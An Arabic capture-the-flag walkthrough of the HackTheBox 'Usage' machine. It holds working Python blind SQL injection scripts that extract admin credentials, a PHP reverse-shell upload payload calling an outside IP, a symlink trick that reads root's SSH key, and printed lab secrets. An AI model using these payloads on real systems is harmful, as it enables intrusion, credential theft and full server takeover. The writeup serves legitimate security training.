> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# شرح Usage HackTheBox

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
المهارات:

* تعداد النطاقات الفرعية
* SQLI - حقن أعمى قائم على القيم المنطقية (يدوي) + نصائح Burp Suite
* استخدام Python للقيام باستغلال SQLI
* كسر التجزئات
* استغلال Laravel-admin (تنفيذ أوامر عن بُعد عبر إساءة استخدام رفع الملفات)
* تحليل ثنائي (GHIDRA)
* إساءة استخدام صلاحية Sudoers + ثنائي مخصص للحصول على المفتاح الخاص لـ Root SSH (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/ea8583f8a827326604b6c76db3b7f4c77a03fdf0" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/d00ed0372418a3bd3f2a37975530be4b8695b1e5" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="/files/8c48af9af5e172a36ab12b3339e8322241302880" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (21,22,80)

<figure><img src="/files/a8fd34c409c39d3fe574115bad5311c66cadf3c2" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="/files/dd6b24ef972976ea343c1e224a26738e4dc309cd" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

### المنفذ 80:

على المنفذ 80، سننشئ حساب مستخدم باستخدام بريد إلكتروني وهمي "`test@test.com`" في قسم التسجيل.

<figure><img src="/files/2eac6d915f03994ee70485726f5fd68b92b5efda" alt=""><figcaption></figcaption></figure>

## ثغرة [SQLI](/ar/web/sql-injection.md):

نكتشف لوحة إعادة تعيين كلمة المرور المعرضة لحقن SQL

<figure><img src="/files/1e305a367ce187520be4999729ae425c83ab2e77" alt=""><figcaption></figcaption></figure>

. ومن خلال اعتراض الطلبات باستخدام Burp Suite، نحصل على الرسالة "*تم إرسال كلمة المرور إليك عبر البريد الإلكتروني*".

<figure><img src="/files/9009bbec3442a714327b43552ac93ed7790b3737" alt=""><figcaption></figcaption></figure>

عند محاولة حقن SQL أساسي، ينجح ذلك ونتلقى رسالة الخطأ نفسها مرة أخرى، مما يؤكد أن الحقن يعمل. اختبار الحقن الأساسي هو:

`iojfeifif' or 1=1-- -`

<figure><img src="/files/9a0361958e757f9c39bd1b28b51aa7f7527467c4" alt="" width="563"><figcaption></figcaption></figure>

### استجابات SQLi الشرطية:

> على الرغم من أن نتائج استعلام SQL لا تُعاد ولا تظهر أي رسائل خطأ، فإن التطبيق يعرض الرسالة "تم إرسال كلمة المرور إليك عبر البريد الإلكتروني" على الصفحة إذا أعاد الاستعلام أي صفوف.

نتحقق من هذا الافتراض عبر تشغيل حقن شرطي باستخدام `substring` الدالة لاستخراج الحروف الأولى من اسم قاعدة البيانات.

أمثلة على الحقن:

* اختبار الحرف الأول من اسم قاعدة البيانات:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* اختبار الحرف الثاني من اسم قاعدة البيانات:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/25646d0fd9eb4bdadcbb220cbf7cedb7b2510529" alt=""><figcaption></figcaption></figure>

### تعداد اسم قاعدة البيانات:

نقوم بأتمتة عملية اكتشاف اسم قاعدة البيانات باستخدام سكربت Python يرسل استعلامات بحمولات محددة ويسترجع النتائج عندما يعرض الخادم الرد "تم إرسال كلمة المرور إليك عبر البريد الإلكتروني".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# التعامل مع إشارات الخروج
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C للخروج
signal.signal(signal.SIGINT, def_handler)

# مجموعة محارف موسعة (أضف المزيد من المحارف الخاصة حسب الحاجة)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)

    p2 = log.progress("البيانات المستخرجة")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)

            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")

            # التحقق من وجود رد محدد من الخادم لتأكيد الحرف الصحيح
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # إذا تم العثور على حرف لهذا الموضع، ننتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")

    p1.success("اكتمل brute force لحقن SQL")
    p2.success(f"البيانات المستخرجة: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/e454e392928d6effcd50300a9b7495c43f39900c" alt="" width="440"><figcaption></figcaption></figure>

### تعداد قاعدة البيانات:

نقوم بتعديل الحمولة لسرد جميع قواعد البيانات الموجودة على الخادم. نستخدم `group_concat` دالة `information_schema.schemata` قاعدة البيانات لاسترجاع جميع قواعد البيانات المتاحة. هذه الخطوة تتيح لك اكتشاف جميع قواعد البيانات الموجودة.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# التعامل مع إشارات الخروج
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C للخروج
signal.signal(signal.SIGINT, def_handler)

# مجموعة محارف موسعة (أضف المزيد من المحارف الخاصة حسب الحاجة)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)

    p2 = log.progress("البيانات المستخرجة")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)

            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")

            # التحقق من وجود رد محدد من الخادم لتأكيد الحرف الصحيح
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # إذا تم العثور على حرف لهذا الموضع، ننتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")

    p1.success("اكتمل brute force لحقن SQL")
    p2.success(f"البيانات المستخرجة: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/38768018a68146910106aabac7afa85adb8e6fe3" alt="" width="563"><figcaption></figcaption></figure>

### قائمة الجداول في قاعدة بيانات `usage_blog` قاعدة البيانات:

بعد العثور على `usage_blog` قاعدة البيانات، نعدّل الحمولة مرة أخرى لتعداد الجداول في تلك القاعدة. نستخدم `group_concat` الدالة لاسترجاع أسماء جميع الجداول في `usage_blog` قاعدة البيانات.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# التعامل مع إشارات الخروج
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C للخروج
signal.signal(signal.SIGINT, def_handler)

# مجموعة محارف موسعة (أضف المزيد من المحارف الخاصة حسب الحاجة)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)

    p2 = log.progress("البيانات المستخرجة")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)

            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")

            # التحقق من وجود رد محدد من الخادم لتأكيد الحرف الصحيح
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # إذا تم العثور على حرف لهذا الموضع، ننتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")

    p1.success("اكتمل brute force لحقن SQL")
    p2.success(f"البيانات المستخرجة: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="/files/697db0dd510c7f19019d125d44aa079c7f23a7ad" alt=""><figcaption></figcaption></figure></div>

### تعداد أعمدة `admin_users` الجدول:

بمجرد تحديد الجداول، نستهدف `admin_users` الجدول لتعداد أعمدته. نستخدم `group_concat` الدالة مرة أخرى لاسترجاع أسماء الأعمدة لهذا الجدول المحدد.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# التعامل مع إشارات الخروج
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C للخروج
signal.signal(signal.SIGINT, def_handler)

# مجموعة محارف موسعة (أضف المزيد من المحارف الخاصة حسب الحاجة)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)

    p2 = log.progress("البيانات المستخرجة")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)

            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")

            # التحقق من وجود رد محدد من الخادم لتأكيد الحرف الصحيح
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # إذا تم العثور على حرف لهذا الموضع، ننتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")

    p1.success("اكتمل brute force لحقن SQL")
    p2.success(f"البيانات المستخرجة: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/f7e7fbeb7dd6969b1806e607814bd0c5ccdaac59" alt=""><figcaption></figcaption></figure>

### عرض `اسم المستخدم` و `كلمة المرور`:

لعرض معرفات المستخدمين وكلمات المرور في `admin_users` الجدول، سيتم تعديل استعلام SQL لربط `اسم المستخدم` و `كلمة المرور` الحقول

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# التعامل مع إشارات الخروج
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C للخروج
signal.signal(signal.SIGINT, def_handler)

# مجموعة محارف موسعة (أضف المزيد من المحارف الخاصة حسب الحاجة)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("حقن SQL")
    p1.status("بدء حقن SQL...")
    time.sleep(2)

    p2 = log.progress("البيانات المستخرجة")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # إرسال طلب POST مع الحمولة
            r = requests.post(main_url, headers=headers, data=payload)

            # عرض الحرف الجاري اختباره في الوقت الحقيقي
            p1.status(f"اختبار الموضع {position}: {character}")

            # التحقق من وجود رد محدد من الخادم لتأكيد الحرف الصحيح
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # إذا تم العثور على حرف لهذا الموضع، ننتقل إلى الموضع التالي
        if found_character:
            p1.status(f"تم العثور على الموضع {position}: {data[-1]}")
        else:
            p1.status(f"الموضع {position}: لم يتم العثور على الحرف")

    p1.success("اكتمل brute force لحقن SQL")
    p2.success(f"البيانات المستخرجة: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/fd8c436a5de909d886892ca7b779e4d567962ce6" alt=""><figcaption></figcaption></figure>

### كسر كلمة المرور باستخدام John:

بمجرد استرجاع تجزئة كلمة المرور، يمكنك استخدام **John** لكسرها باستخدام قاموس مثل **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="/files/56aea8effe23d07a3d1d5d76a3c7a984db876b31" alt=""><figcaption></figcaption></figure>

#### لوحة الإدارة:

<figure><img src="/files/1d4df5deb008399ea262dcf639109af9bb748d89" alt=""><figcaption></figcaption></figure>

بمجرد العثور على بيانات الاعتماد، يمكن الاتصال بلوحة الإدارة من خلال تعديل `/etc/hosts` الملف لإضافة `admin.usage.htb` الإدخال.

<figure><img src="/files/d7338fe9338cb0b0c5d1dba6b7098d72279950f7" alt=""><figcaption></figcaption></figure>

## ملف الثغرة: رفع الملفات (Laravel-admin)

في تطبيق Laravel-admin، يوجد قسم يسمح لك برفع صورة شخصية. وباستغلال هذه الميزة، يمكننا إرسال ملف خبيث للحصول على وصول غير مصرّح به إلى الخادم.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/cf843a4d5f2599f8114a13552635d7af359c9e50" alt=""><figcaption></figcaption></figure>

### **خطوات العملية:**

1. **اعتراض ملف الصورة الشخصية وتعديله**:
   * اعترض الطلب باستخدام Burp Suite.
   * تغيير قيمة `الاسم` المتغير لإضافة امتداد PHP بعد ملف صورة مزيفة، على سبيل المثال: `hack.jpg.php`.

<figure><img src="/files/b37b9de50a7fdfafdd0480ff117187fe1b790681" alt=""><figcaption></figcaption></figure>

* يجب أن يكون محتوى الملف عبارة عن reverse shell، مثل:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="/files/ef86310dad0951f6a2a356f6d10274936b481d3e" alt=""><figcaption></figcaption></figure>

**الاستماع باستخدام Netcat**:

* ابدأ الاستماع على المنفذ 443 باستخدام Netcat:

```bash
nc -nlvp 443 
```

<figure><img src="/files/fb27e7b300b3327c3e63fed0ba28334fa73f8c78" alt="" width="563"><figcaption></figcaption></figure>

نفّذ الأوامر التالية لجعل جلسة shell أكثر تفاعلية:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### الراية user.txt :)

<figure><img src="/files/ba75b937a561c4df3300b229b668bcf58efdab14" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات:

### تسريب المعلومات

في دليل المستخدم `dash`، ملف `.monitrc` يمكن الوصول إليه، وهو يحتوي على معلومات حساسة

<figure><img src="/files/e332941a8619f33b52905d72dd505f4a12fa5f33" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="/files/92f1268c960ad254392060038781d78e474061eb" alt="" width="563"><figcaption></figcaption></figure>

هذه الكلمة المرور تخص المستخدم `XANDER`.

<figure><img src="/files/98e0b9a7714b062c64728ff0e017bcd2743081de" alt="" width="563"><figcaption></figcaption></figure>

### إساءة استخدام ثنائي Sudoers:

من خلال تشغيل الأمر `sudo -l` الأمر كمستخدم `xander`، نكتشف إمكانية تشغيل `usage_management` الثنائي بثلاثة خيارات:

1. *`نسخ احتياطي للمشروع`*
2. *`نسخ بيانات MySQL احتياطيًا`*
3. *`إعادة تعيين كلمة مرور المدير`*

<figure><img src="/files/ba7fc235d725accf80d45b2c7cd6c18a65d88d4d" alt=""><figcaption></figcaption></figure>

باختيار الخيار الأول ("نسخ احتياطي للمشروع")، ينشئ البرنامج ملفًا `.zip` مع نسخة احتياطية كمستخدم `root`.

<figure><img src="/files/6c3f796dcc660c78781f96ea58a038b1b7167506" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7a60c2c92f4a27f771de53a1d97b52376cf14e52" alt=""><figcaption></figcaption></figure>

### تحليل ثنائي (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

ثبّت وشغّل GHIDRA لتحليل الثنائي:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/ae04c592f30e1f2aca158abe5f3e1c5b9a97cf5b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e65214396c81ddc25b46cf25ffa03988561753b5" alt=""><figcaption></figcaption></figure>

* في `نسخ احتياطي للمشروع` الدالة، نلاحظ أن هذه الوظيفة تضغط محتوى `/var/www/html` إلى `project.zip` ملف بصلاحيات root.

<figure><img src="/files/db113b80301d3abdf10a59a860c93e76f18d13de" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**إنشاء رابط رمزي للوصول إلى مفتاح SSH الخاص بـ root** : لاستغلال هذه الوظيفة، أنشئ رابطًا رمزيًا إلى مفتاح SSH الخاص بـ root في `html` الدليل

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/07242f92312fade6bee58e6285d453dd840cc120" alt=""><figcaption></figcaption></figure>

**تشغيل السكربت بصلاحيات root**:

* شغّل `usage_management` السكربت:

<figure><img src="/files/0e9b11a3cd2f696516579e402d3714e1a1d5d4f9" alt=""><figcaption></figcaption></figure>

* في `project.zip` الملف، واحصل على المفتاح الخاص لـ root (`id_rsa`).

<figure><img src="/files/5f5792728b73bb8bb398830b208223b8a10e6a17" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**اتصال SSH باستخدام المفتاح الجذر**:

* استخدم المفتاح لتسجيل الدخول كمستخدم root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/e8464bd9726895bd6e52ad65370f25b225afa49b" alt=""><figcaption></figcaption></figure>

### فلاغ الجذر :)

<figure><img src="/files/dbfa731ab43b617b6dad386e55bca154faafc69a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7d988ae48c331a2a16c0eb0f034c64116c64ae13" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

